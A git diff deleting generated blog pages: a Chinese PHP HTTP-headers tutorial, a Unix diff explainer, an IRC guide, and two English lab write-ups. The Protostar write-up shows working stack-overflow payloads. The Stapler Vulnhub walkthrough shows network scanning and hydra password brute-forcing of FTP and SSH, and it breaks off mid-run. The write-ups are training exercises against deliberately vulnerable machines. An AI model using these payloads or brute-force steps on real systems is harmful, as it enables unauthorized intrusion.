-echo 'The secret email is on its way!' ;
-?>
-
-
未授权用户的确被重定向了, 但是因为代码会继续执行, 他们同样会收到邮件. 为了避免这种情况, 针对已授权用户的代码可以写到 else{}
声明中, 但是直接在 header()
后面使用 exit
来结束代码执行会更为干净容易一些.
-
<?php
-//重定向访问级别低于 4 的用户
-if ( check_access_level ( $username ) < 4 ){
- header ( 'Location: http://www.mysite.com/someotherpage.php' );
- exit ; //停止代码执行
-}
-
-//向高于访问级别 4 的用户发送秘密邮件
-mail_secret_code ( $username );
-echo 'The secret email is on its way!' ;
-?>
-
-
使用 Refresh
头重定向
-
-
Refresh
和 Location
一样可以重定向用户, 但是你可以延迟重定向. 例如, 下面的代码会在显示当前页面 10 秒钟后重定向用户到新的页面:
-
<?php
-header ( 'Refresh: 10; url=http://www.mysite.com/otherpage.php' );
-echo 'You will be redirected in 10 seconds' ;
-?>
-
-
另一个常见的用途就是通过重复的'重定向'一个页面到它自身来强制更新页面 (参见上面 的第二个 '对话'). 例如, 这里是一个简单的例子, 页面会从 10 开始向下数, 每个数字之间有 3 秒间隔:
-
<?php
-if ( ! isset ( $_GET [ 'n' ])){
- $_GET [ 'n' ] = 10 ;
-}
-
-if ( $_GET [ 'n' ] > 0 ){
- header ( 'Refresh: 3; url=' . $_SERVER [ 'PHP_SELF' ] . '?n=' . ( $_GET [ 'n' ] - 1 ) );
- echo $_GET [ 'n' ];
-}
-else {
- echo 'BLAST OFF!' ;
-}
-?>
-
-
提示 : 如果刷新时间设置成 0, 则 Refresh
头实际上和 Location
头完全一样
-
-
使用 Content-Type
头来提供不同类型的文件以及生成动态内容
-
-
服务器用 Content-Type
头告诉浏览器自己将要发送什么类型的数据. 使用这个头信息, 你可以让 PHP 脚本输出任何类型的文件, 从纯文本文件到图片文件到 zip 文件等等. 下面的表格列举了最常用的一个 MIME 类型 :
-
-
常用 MIME 类型:
-
-
-
-类型
-描述
-
-
-
-text/html
-HTML (PHP 默认)
-
-
-text/plain
-纯文本
-
-
-image/gif
-GIF 图片
-
-
-image/jpeg
-JPEG 图片
-
-
-image/png
-PNG 图片
-
-
-video/mpeg
-MPEG 视频
-
-
-audio/wav
-WAV 音频
-
-
-audio/mpeg
-MP3 音频
-
-
-video/mov
-mov 视频
-
-
-video/quicktime
-Quicktime 视频
-
-
-video/x-ms-wmv
-Windows WMV 视频
-
-
-audio/x-ms-wma
-Windows WMA 音频
-
-
-audio/x-realaudio
-RealPlayer 音频/视频 (.rm)
-
-
-audio/x-pn-realaudio
-RealPlayer 音频/视频 (.ram)
-
-
-video/x-msvideo
-ms 视频
-
-
-video/avi
-AVI 视频
-
-
-application/pdf
-PDF 文档
-
-
-application/msword
-MS Word .doc 文件
-
-
-application/zip
-Zip 文件
-
-
-application/octet-stream
-其他. 数据. 用于强制下载或使用应用打开.*
-
-
-x-foo/x-bar
-其他. 数据. 用于强制下载或使用应用打开.*
-
-
-
-
你可以用此来做一些有趣的事情. 比如, 你可能想要向用户发用一个预先格式化过的文本文件, 而不是 HTML:
-
<?php
-header ( 'Content-Type: text/plain' );
-echo $plain_text_content ;
-?>
-
-
另或者你想要提示用户下载文件, 而不是在浏览器中查看它. 使用 Content-Disposition
头, 这很容易, 你甚至可以推荐一个文件名给用户:
-
<?php
-header ( 'Content-Type: application/octet-stream' );
-header ( 'Content-Disposition: attachment; '
- . 'filename="plain_text_file.txt"' );
-echo $plain_text_content ;
-?>
-
-
另或者你需要提供文件文件, 但是又希望隐藏文件的真实路径和名字, 并且只让已登录的用户下载:
-
<?php
-if ( $b_is_logged_in ){
- header ( 'Content-Type: application/octet-stream' );
- header ( 'Content-Disposition: attachment; '
- . 'filename="' . $different_filename . '"' );
- readfile ( '/path/to/files/' . $filename );
-}
-else {
- echo 'You are not authorized to view this file' ;
-}
-?>
-
-
又或者你已经使用 PHP 的图片函数 动态生成了一个图片, 想要展示给用户. 你可以创建一个 build_image.php
文件, 像这样
-
<?php
- //生成图片, 然后
- header ( 'Content-Type: image/jpeg' );
- imagejpeg ( $image_resouce );
-?>
-
-
提示 : 当心 magic_quotes
! PHP 会自动使用反斜杠转移特殊字符, 这一开始看起来是个好主意, 但是大多数好的程序员认为 (a) 这会鼓励不去验证输入的粗心代码, 并且 (b) 在良好的代码中会产生本不该有 (如果 magic_quote
关闭) 的麻烦. 其中一个麻烦就是二进制数据被破坏. 在上面这个例子中, 如果 magic_quotes_runtime
被启用, 则 readfile()
输出的数据可能被添加反斜杠, 导致发送给用户的文件被破坏. 完美情况下, 你应该在 php.ini
文件中关闭 magic_quotes_runtime
选项, 但是如果你没有权限访问这个配置文件, 你可以使用 set_magic_quotes_runtime()
函数 (给它传个数字 0) 关闭它.
-
-
令人高兴的是, 最近的一次 PHP 开发者会议 显示, 在未来版本(6+) 的 PHP 中 magic quotes
会被弃用. 但是在所有人升级到这个版本的 PHP 之前, 记住这个导致的问题会节省你很多麻烦和疑问.
-
-
你可以在 URL 中传递生成图片所需的参数, 然后使用 $_GET 获取它们. 然后在另一个页面, 你可以使用 img 标签来包含这个图片:
-
<img src="build_image.php <?php echo "? $user_id & $caption " ; ?> ">
-
-
可用的地方几乎讲不完. 你 PHP 变成越多, 越会发现 Content-Type
头真的是你的好朋友
-
-
提示 : 浏览器处理各式 MIME类型
的预期 方式以及实际 方式可能并不一致 (尤其是 Internet Explorer), 所以你最好是在你需要支持的浏览器中测试一下. PHP 参考中的用户评论 有许多关于此的技巧.
-
-
<?php
-header ( 'Cache-Control: no-cache, no-store, must-revalidate' ); //HTTP/1.1
-header ( 'Expires: Sun, 01 Jul 2005 00:00:00 GMT' );
-header ( 'Pragma: no-cache' ); //HTTP/1.0
-?>
-
-
Expires
头可以是任何已经过去的日期. 对于 MIME 类型
, 浏览器 (尤其是较老的) 可能不会总是正确的理解你的缓存指示 (虽然大部分现代浏览器会).
-
-
HTTP 响应码, 或者执行 HTTP 认证 (如果你作为 Apache
模块来使用 PHP 的话). 现在, 你了解了 header() 如何工作及怎么使用它, 你可以用它做你之前想都没想到的许多事情了.
-
-PHP 中的请求头信息
-
- 我们讲了怎么使用响应头信息了. 我们还可以从浏览器发给服务器的请求头信息中获取很多信息. 有两种方法来获取. 第一, 许多 [$_SERVER
数组][server]中的值都是由传来的请求头信息决定的. 第二, 如果 PHP 是作为 Apache
模块使用的, apache_request_headers()
会返回一个包含所有请求头信息的数组 (甚至那些不在 $_SERVER
中的).
-
-
<?php
- if ( $_SERVER [ 'HTTP_REFERER' ] != 'http://www.mysite.com/myform.html' ){
- header ( 'Refresh: 5; url=http://www.mysite.com/myform.html' );
- echo 'You must use the form on my site...redirecting now.' ;
- }
- else {
- insert_data ( $_POST [ 'var1' ], $_POST [ 'var2' ]);
- }
-?>
-
-这或许会阻止那些不是很精通的黑客通过他的浏览器提交一个自定义的表单来提交数据, 但是任何一个稍微高深一些的黑客都可以通过使用 telnet
来提交数据, 包括请求头信息
-Referer: http://www.mysite.com/myform.html
-
-然后轻易的躲过这层保护机制. 这里所要讲的重点是: 使用 HTTP 请求头信息来统计一些数据以便提供更好的用户体验 - 大部分的请求头信息都是发自真实的浏览器而且可以被信任...但是不要 在有关安全的问题上依赖任何请求 header
-
-使用 HTTP 请求头信息
-
-你可以用它做几件事. 使用 $_SERVER['HTTP_USER_AGENT']
你可以探测用户生成他使用的什么浏览器. 你可以检查 $_SERVER['HTTP_ACCEPT_LANGUAGE']
(可能要配合 $_SERVER['HTTP_ACCEPT_CHARSET']
和一些 IP 地理位置 ) 来决定向用户展示什么语言. 虽然 $_SERVER['HTTP_REFERER']
对于安全目的并不能被依赖, 但是可以用来统计你网站的流量, 或者根据用户的访问路径来定制显示内容. 如果因为某些原因你想要操作原始的请求字符串, 你可以使用 $_SERVER['QUERY_STRING']
. 查看 $_SERVER['REQUEST_METHOD']
可以知道你的页面是通过 GET
还是 POST
方法访问的. 还有很多可以帮助你做许多有创意的事情的信息等着你去发现.
-
-HTML meta
标签中的 HTTP 头信息 equivalents(对应物)
-
-很有可能在阅读本文之前, 你已经用过下面的 HTML meta 标签重定向用户了:
-<meta http-equiv= "refresh" content= "0;http://www.mysite.com/somepage.html" />
-
-看起来很熟悉? 'http-equiv' meta
标签即 HTTP 响应头的'对应物', 引入它们是为了让没有服务器端编程能力的人在写 HTML 页面的时候也能使用强大的头信息功能. 使用这些 meta 标签很简单: 它们可以被放在文档 <head>
中的任何地方, http-equiv
属性包含头名, content
属性包含头值.
-
-我发现这些 meta 标签最开始也会和 HTTP 头一样让人困惑, 但是现在它们在你看来应该很简单了. 虽然我更喜欢使用 PHP 的 header()
函数, 但是 meta
标签的 HTTP equivalents 对于像指定字符集这样的事情会更顺手一些. 比如, 我经常在 HTML 页面中使用 (有时候 PHP 页面中也会用到):
-<meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
-
-提示 : 使用 meta
标签来指定头信息并不被一致的支持, 所以通常来讲使用头信息本身会更加安全和快速. 另外很明显, 还有一些头的名值对并不能用 meta equivalents
来指定: 在真正的头信息被发送, 浏览器已经把文档读取为 HTML 之后, 你是不能再去设置 Content-Type
成 image/png
的 ;-)
-
-
-
-
-
-
-Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/translation/Install-WAMP.html b/_site/translation/Install-WAMP.html
deleted file mode 100644
index bf6647d..0000000
--- a/_site/translation/Install-WAMP.html
+++ /dev/null
@@ -1,177 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-Test Post; Please Ignore
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/translation/Understanding_the_diff_command_in_unix.html b/_site/translation/Understanding_the_diff_command_in_unix.html
deleted file mode 100644
index 4347a70..0000000
--- a/_site/translation/Understanding_the_diff_command_in_unix.html
+++ /dev/null
@@ -1,338 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-理解 diff 命令
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
原文在 2009/04/17 发表于 http://unix.worldiswelcome.com/understanding-the-diff-command-in-unix
-
-
Unix 系统管理员来经常需要去知道两个文件之间有什么差异. diff
命令就是干这个的. 我现在就准备讲讲 diff
. 它是一个经常被用到却不是很被了解的命令. 我希望 Unix 使用者在读完这篇文章之后能够正确了解这个命令的用途并从中获益. 另外一个有用的命令是: comm
命令. 我们开始吧...
-
-
示例文件分别是 first 文件和 second 文件. 如下:
-
wiw_labs:$ nl first
-1 computer
-2 modem
-3 monitor
-4 phone
-5 switch
-
-wiw_labs:$ nl second
-1 cable
-2 mobile
-3 screen
-4 modem
-5 phone
-6 server
-
-
diff
命令用来比较这两个文件之间的差异
-
-
diff 命令的用法
-
-
我命先从 diff
的用法说起. diff
通常这样使用:
-
diff first_file second_file
-
-
这条命令意即: first_file 和 second_file 有什么不同
-
-
diff 命令如何工作
-
-
diff
命令的运作原理就是, 想法设法的让 first 文件和 second 文件一样. 它希望通过更改(c), 删除(d) first 文件中的行以使其和 second 文件一模一样. 如果需要, 它还会把 second 文件中的行附加到 first 文件中. 如果你明白我说的什么, 很好, 如果不明白也随便. 当我使用示例给你解释的时候你就会明白的.
-
-
diff
就是通过下面的这些步骤来生成这两个文件的差异报告的:
-
-
-它从 first 文件和 second 文件的第 1 行开始. 如果它们不一样, diff
便顺着 first 文件往下找, 直到找到和 second 文件中相似的条目.
-如果在 first 文件中没有找到和 second 文件第 1 行相同的行, 它就再从 second 文件的第 2 行开始. 它会在 first 文件中开始找. 然后提议做什么(附加, 更改或删除)
-
-
-
wiw_labs:$ paste first second|nl
-1 computer cable
-2 modem mobile
-3 monitor screen
-4 phone modem
-5 switch phone
-6 server
-
-wiw_labs:$ diff first second
-1c1,3
-< computer
-—
-> cable
-> mobile
-> screen
-3d4
-< monitor
-5c6
-< switch
-—
-> server
-
-
现在, 看一下上面 paste
命令带行号的输出. 注意下面几点:
-
-
-first 文件的第 2 行(modem) 和 second 文件的第 4 行(modem) 一致. 所以, 如果我们把 first 文件中的第 1 行换成 second 文件中的 1 到 3 行, 这两个文件的第一部分便都一样了. 输出看起来就会是这样的:
-
-
wiw_labs:$ paste first second|nl
-1 cable cable
-2 mobile mobile
-3 screen screen
-4 modem modem
-5 monitor phone
-6 phone server
-7 switch
-
-
-first 文件的第 4 行(phone) 和 second 文件的第 5 行一致. 这意味着如果我们删除 first 文件中的第 3 行(也就是目前的第 4 行), 这两个文件的第二部分便都一样了.
-
-
wiw_labs:$ paste first second|nl
-1 cable cable
-2 mobile mobile
-3 screen screen
-4 modem modem
-5 phone phone
-6 switch server
-
-
-first 文件的第 5 行(switch)可用 second 文件的第 6 行(server)替换. 至此, 这两个文件完全一样了.
-
-
wiw_labs:$ paste first second|nl
-1 cable cable
-2 mobile mobile
-3 screen screen
-4 modem modem
-5 phone phone
-6 server server
-
-
现在, diff
命令的输出更容易理解了:
-
-
-1c1,3 : 更改 first 文件的第一行为 second 文件的 1 到 3 行
-
-3d4 : 从 first 文件中删除第 3 行(modem).
-
-5c6 : 更改 first 文件中的第 5 行(switch) 为 second 文件中的第 6 行(server)
-
-
-
现在, 反过来再看一下:
-
wiw_labs:$ paste second first | nl
-1 cable computer
-2 mobile modem
-3 screen monitor
-4 modem phone
-5 phone switch
-6 server
-
-wiw_labs:$ diff second first
-1,3c1
-< cable
-< mobile
-< screen
-—
-> computer
-4a3
-> monitor
-6c5
-< server
-—
-> switch
-
-
-我们看到 first 文件的第 4 行(modem) 和 second 文件的第 2 行一致. 所以如果我们把 first 文件的 1 到 3 行替换为 second 文件的第 1 行, 我们得到如下输出:
-
-
wiw_labs:$ paste second first | nl
-1 computer computer
-2 modem modem
-3 phone monitor
-4 server phone
-5 switch
-
-
-现在, second 文件的第 3 行(monitor) 在 first 文件中并不存在. 所以, 把它附加到 first 文件的第 4 行(modem)后面. 要记住 diff
命令的输出中的行号永远指的是原始的行号. 现在, 输出看起来是这样的:
-
-
wiw_labs:$ paste second first | nl
-1 computer computer
-2 modem modem
-3 monitor monitor
-4 phone phone
-5 server switch
-
-
-first 文件的第 6 行(server)需要改成 second 文件的第 5 行(switch). 更改之后, 两个文件便都一样了:
-
-
1 computer computer
-2 modem modem
-3 monitor monitor
-4 phone phone
-5 switch switch
-
-
现在, 更容易理解 diff
命令的输出了:
-
-
-1,3c1 : 把 first 文件的第 1 到 3 行改为 second 文件的第 1 行.
-
-4a3 : 在 first 文件的第 4 行(modem)后面附加上 second 文件的第 3 行(monitor).
-
-6c5 : 把 first 文件的第 6 行(server)改为 second 文件的第 5 行(switch).
-
-
-
-
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/tutorial/IRC-quick-start.html b/_site/tutorial/IRC-quick-start.html
deleted file mode 100644
index f695d8f..0000000
--- a/_site/tutorial/IRC-quick-start.html
+++ /dev/null
@@ -1,262 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-IRC 急速入门
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
https://hexchat.github.io/downloads.html
- IRC 命令
-
-使用 IRC 必须掌握几个必须的命令, 命令以 / 开头, 如:
-
-
-
-示例命令
-备注
-
-
-
-/server irc.freenode.net
-连接到 freenode
网络
-
-
-/nick myName
-更换昵称为 myName
-
-
-/msg nickserv register password me@163.com
-注册昵称, 密码为 password, 邮箱为 me@163.com
-
-
-/join #java
-进入 #java 聊天室
-
-
-
-...等等
-
-
-
-
- 填写自己想要的昵称
-
-
在 Networks
的列表中点选 freenode
, 然后点击 Connect
连接到 freenode
-
连接成功后会弹出此窗口
-
-
-
-取消选中 always show this ...
, 点击 OK
-
现在来到主界面
-
-
-
-输入 /msg NickServ register <password> <email>
以注册当前昵称
-
-注意 : 把 <password>
换成你自己的密码, 把 <email>
换成你自己的邮箱地址
-
进入邮箱, 收取邮件. 把邮件中给你的命令粘贴到消息输入框, 回车, 以完成验证
-
现在输入命令 /join #irc
以加入 #irc 聊天室, 在这里你可以问任何有关 irc 的问题. 当然你也可以加入其它感兴趣的聊天室.
-
开始聊天
-
-
-
-
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/writeup/nebula_exploit_exercises.html b/_site/writeup/nebula_exploit_exercises.html
deleted file mode 100644
index 41224c9..0000000
--- a/_site/writeup/nebula_exploit_exercises.html
+++ /dev/null
@@ -1,498 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-Protostar Exploit Exercises Solutions 0-4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.
-
-
Stack 0
-
-
Here’s what we’re given:
-
-
#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main(int argc, char **argv)
-{
- volatile int modified;
- char buffer[64];
-
- modified = 0;
- gets(buffer);
-
- if(modified != 0) {
- printf("you have changed the 'modified' variable\n");
- } else {
- printf("Try again?\n");
- }
-}
-
-
-
-
The first thing I took note of is the size of the buffer
: 64 bytes. After that, the program inputs text for buffer
, and then checks to see if you modified the modified
variable.
-I’m guessing if I put in a string longer than 64 bytes it will work. Let’s see:
-
-
$ echo `python -c 'print "A"*64'` | ./stack0
-Try again?
-
-
-
-
That works as expected, now with 65 bytes:
-
-
$ echo `python -c 'print "A"*65'` | ./stack0
-you have changed the 'modified' variable
-
-
-
-
Solved!
-
-
Stack 1
-
-
Here’s the code we’re given:
-
-
#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-int main(int argc, char **argv)
-{
- volatile int modified;
- char buffer[64];
-
- if(argc == 1) {
- errx(1, "please specify an argument\n");
- }
-
- modified = 0;
- strcpy(buffer, argv[1]);
-
- if(modified == 0x61626364) {
- printf("you have correctly got the variable to the right value\n");
- } else {
- printf("Try again, you got 0x%08x\n", modified);
- }
-}
-
-
-
-
Just like Stack 0, we’re given a buffer
array size 64 bytes and we’re also asked to input the contents of it. Except it looks like modified has to equal 0x61626364
instead of just changing it like before.
-
-
Keep in mind this is little endian , so I’ll input the value in reverse order:
-
-
$ ./stack1 `python -c 'print "A"*64'`
-Try again, you got 0x00000000
-
-
-
-
That works as expected, now with the additional bytes:
-
-
$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
-you have correctly got the variable to the right value
-
-
-
-
Woo!
-
-
Stack 2
-
-
The website says this one involves environment variables, and how they can be set, so let’s look at the code:
-
-
#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-int main(int argc, char **argv)
-{
- volatile int modified;
- char buffer[64];
- char *variable;
-
- variable = getenv("GREENIE");
-
- if(variable == NULL) {
- errx(1, "please set the GREENIE environment variable\n");
- }
-
- modified = 0;
-
- strcpy(buffer, variable);
-
- if(modified == 0x0d0a0d0a) {
- printf("you have correctly modified the variable\n");
- } else {
- printf("Try again, you got 0x%08x\n", modified);
- }
-
-}
-
-
-
-
There’s the char buffer[64]
and char *variable
again, then shortly after that it reads in the GREENIE
environmental variable. Since GREENIE
is copied to buffer
, let’s see if appending 0x0d0a0d0a
to the end of some 64 bit string, since that’s what it compares in the if statement:
-
-
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
-user@protostar:/opt/protostar/bin$ ./stack2
-you have correctly modified the variable
-
-
-
-
Stack 3
-
-
#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-void win()
-{
- printf("code flow successfully changed\n");
-}
-
-int main(int argc, char **argv)
-{
- volatile int (*fp)();
- char buffer[64];
-
- fp = 0;
-
- gets(buffer);
-
- if(fp) {
- printf("calling function pointer, jumping to 0x%08x\n", fp);
- fp();
- }
-}
-
-
-
-
It looks like I need to input a 64 byte buffer like previously, and then append the address of win()
, which will write to fp
.
-
-
First to figure out the address of win I ran objdump -d stack3 | grep win
which outputs 08048424
:
-
-
user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
-08048424 <win>:
-
-
-
-
And appending it to the buffer:
-
-
user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
-calling function pointer, jumping to 0x08048424
-code flow successfully changed
-
-
-
-
Stack 4
-
-
#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-void win()
-{
- printf("code flow successfully changed\n");
-}
-
-int main(int argc, char **argv)
-{
- char buffer[64];
-
- gets(buffer);
-}
-
-
-
-
This is similar to Stack 3, except it I need to add some extra padding to get to win
.
-
-
First I’m going to get the memory address of win
, but I won’t use this till the end:
-
-
user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
-080483f4 <win>:
-
-
-
-
Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:
-
-
First with predefined buffers of 50 and 100:
-
-
GNU gdb (GDB) 7.0.1-debian
-Copyright (C) 2009 Free Software Foundation, Inc.
-License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
-This is free software: you are free to change and redistribute it.
-There is NO WARRANTY, to the extent permitted by law. Type "show copying"
-and "show warranty" for details.
-This GDB was configured as "i486-linux-gnu".
-For bug reporting instructions, please see:
-<http://www.gnu.org/software/gdb/bugs/>...
-Reading symbols from /opt/protostar/bin/stack4...done.
-(gdb) r // with 50
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program exited with code 060.
-(gdb) r // with 100
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program received signal SIGSEGV, Segmentation fault.
-0x41414141 in ?? ()
-(gdb) r // with ~75
-The program being debugged has been started already.
-Start it from the beginning? (y or n) y
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program exited with code 060.
-(gdb) r //with ~80
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program received signal SIGSEGV, Segmentation fault.
-0x41414141 in ?? ()
-
-
-
-
And now I figured out it’s somewhere around 80 by approximation, so I guessed than then 75, then 76:
-
-
user@protostar:/opt/protostar/bin$ gdb ./stack4
-GNU gdb (GDB) 7.0.1-debian
-Copyright (C) 2009 Free Software Foundation, Inc.
-License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
-This is free software: you are free to change and redistribute it.
-There is NO WARRANTY, to the extent permitted by law. Type "show copying"
-and "show warranty" for details.
-This GDB was configured as "i486-linux-gnu".
-For bug reporting instructions, please see:
-<http://www.gnu.org/software/gdb/bugs/>...
-Reading symbols from /opt/protostar/bin/stack4...done.
-(gdb) r // with 80
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program received signal SIGSEGV, Segmentation fault.
-0x41414141 in ?? ()
-(gdb) r // with 75
-The program being debugged has been started already.
-Start it from the beginning? (y or n) y
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program exited with code 060.
-(gdb) r // with 76
-Starting program: /opt/protostar/bin/stack4
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
-Program received signal SIGSEGV, Segmentation fault.
-0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
-) at libc-start.c:187
-187 libc-start.c: No such file or directory.
- in libc-start.c
-(gdb) Woo => 76
-
-
-
-
Alright, so I know the buffer I need is 76, and the memory address of win
:
-
-
user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
-code flow successfully changed
-
-
-
-
There you go.
-
-
Stack 5
-
-
Finally, we get to do some shellcode!
-
-
I have a good idea about how to do this, but unfortunately I can’t get something to work right, so I’ll update this as soon as I do.
-
-
-
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/writeup/stapler_walkthough.html b/_site/writeup/stapler_walkthough.html
deleted file mode 100644
index c9143c5..0000000
--- a/_site/writeup/stapler_walkthough.html
+++ /dev/null
@@ -1,474 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-Stapler: 1 Vulnhub Walkthrough
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Figure out the IP
-
-
paul@archyoga [05:31:55] [~]
--> % nmap -sn 192.168.1.0/24
-
-Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:32 EDT
-.
-.
-.
-Nmap scan report for red (192.168.1.135)
-Host is up (0.0030s latency).
-.
-.
-.
-Nmap done: 256 IP addresses (16 hosts up) scanned in 3.59 seconds
-
-
-
-
Let’s see what’s there:
-
-
paul@archyoga [05:33:59] [~]
--> % nmap -Pn 192.168.1.135
-
-Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:34 EDT
-Nmap scan report for red (192.168.1.135)
-Host is up (0.011s latency).
-Not shown: 992 filtered ports
-PORT STATE SERVICE
-20/tcp closed ftp-data
-21/tcp open ftp
-22/tcp open ssh
-53/tcp open domain
-80/tcp open http
-139/tcp open netbios-ssn
-666/tcp open doom
-3306/tcp open mysql
-
-Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
-
-
-
-
Login to ftp
-
-
paul@archyoga [05:34:57] [~]
--> % ftp
-ftp> open 192.168.1.135
-Connected to 192.168.1.135.
-220-
-220-|-----------------------------------------------------------------------------------------|
-220-| Harry, make sure to update the banner when you get a chance to show who has access here |
-220-|-----------------------------------------------------------------------------------------|
-220-
-220
-Name (192.168.1.135:paul): anonymous
-331 Please specify the password.
-Password:
-230 Login successful.
-Remote system type is UNIX.
-Using binary mode to transfer files.
-ftp> ls
-200 PORT command successful. Consider using PASV.
-150 Here comes the directory listing.
--rw-r--r-- 1 0 0 107 Jun 03 23:06 note
-226 Directory send OK.
-ftp> get note
-200 PORT command successful. Consider using PASV.
-150 Opening BINARY mode data connection for note (107 bytes).
-226 Transfer complete.
-107 bytes received in 5.1e-05 seconds (2 Mbytes/s)
-ftp> 221 Goodbye.
-
-paul@archyoga [05:36:17] [~]
--> % cat note
-Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
-
-
-
-
Turns out it is, and inside is a file named note
which names an ftp user: elly
.
-I used hydra to test some common passwords and that worked out:
-
-
paul@archyoga [05:39:21] [~]
--> % hydra -l elly -e nsr 92.168.1.135 ftp
-Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
-
-Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:39:36
-[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
-[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
-[DATA] attacking service ftp on port 21
-[21][ftp] host: 192.168.1.135 login: elly password: ylle
-1 of 1 target successfully completed, 1 valid password found
-Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-19 17:39:50
-
-
-
-
Now we can login to ftp as elly using the password ylle
. On the ftp server there’s a passwd file, so I can use that as a user list to test against:
-
-
paul@archyoga [05:42:07] [~]
--> % ftp
-ftp> open 192.168.1.135
-Connected to 192.168.1.135.
-220-
-220-|-----------------------------------------------------------------------------------------|
-220-| Harry, make sure to update the banner when you get a chance to show who has access here |
-220-|-----------------------------------------------------------------------------------------|
-220-
-220
-Name (192.168.1.135:paul): elly
-331 Please specify the password.
-Password:
-230 Login successful.
-Remote system type is UNIX.
-Using binary mode to transfer files.
-ftp> ls
-200 PORT command successful. Consider using PASV.
-150 Here comes the directory listing.
-.
-.
-.
--rw-r--r-- 1 0 0 2908 Jun 04 20:14 passwd
-.
-.
-.
-ftp> get passwd
-200 PORT command successful. Consider using PASV.
-150 Opening BINARY mode data connection for passwd (2908 bytes).
-226 Transfer complete.
-2908 bytes received in 9.9e-05 seconds (28 Mbytes/s)
-ftp> 221 Goodbye.
-
-
-
-
Login over ssh & exploit
-
-
Using hydra again I discovered a login for ssh from the passwd file:
-
-
paul@archyoga [05:42:36] [~]
--> % awk -F':' '{ print $1}' passwd > users
-
-
--> % hydra -e nsr -L ./users 192.168.1.135 ssh
-Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
-
-Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:44:42
-[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
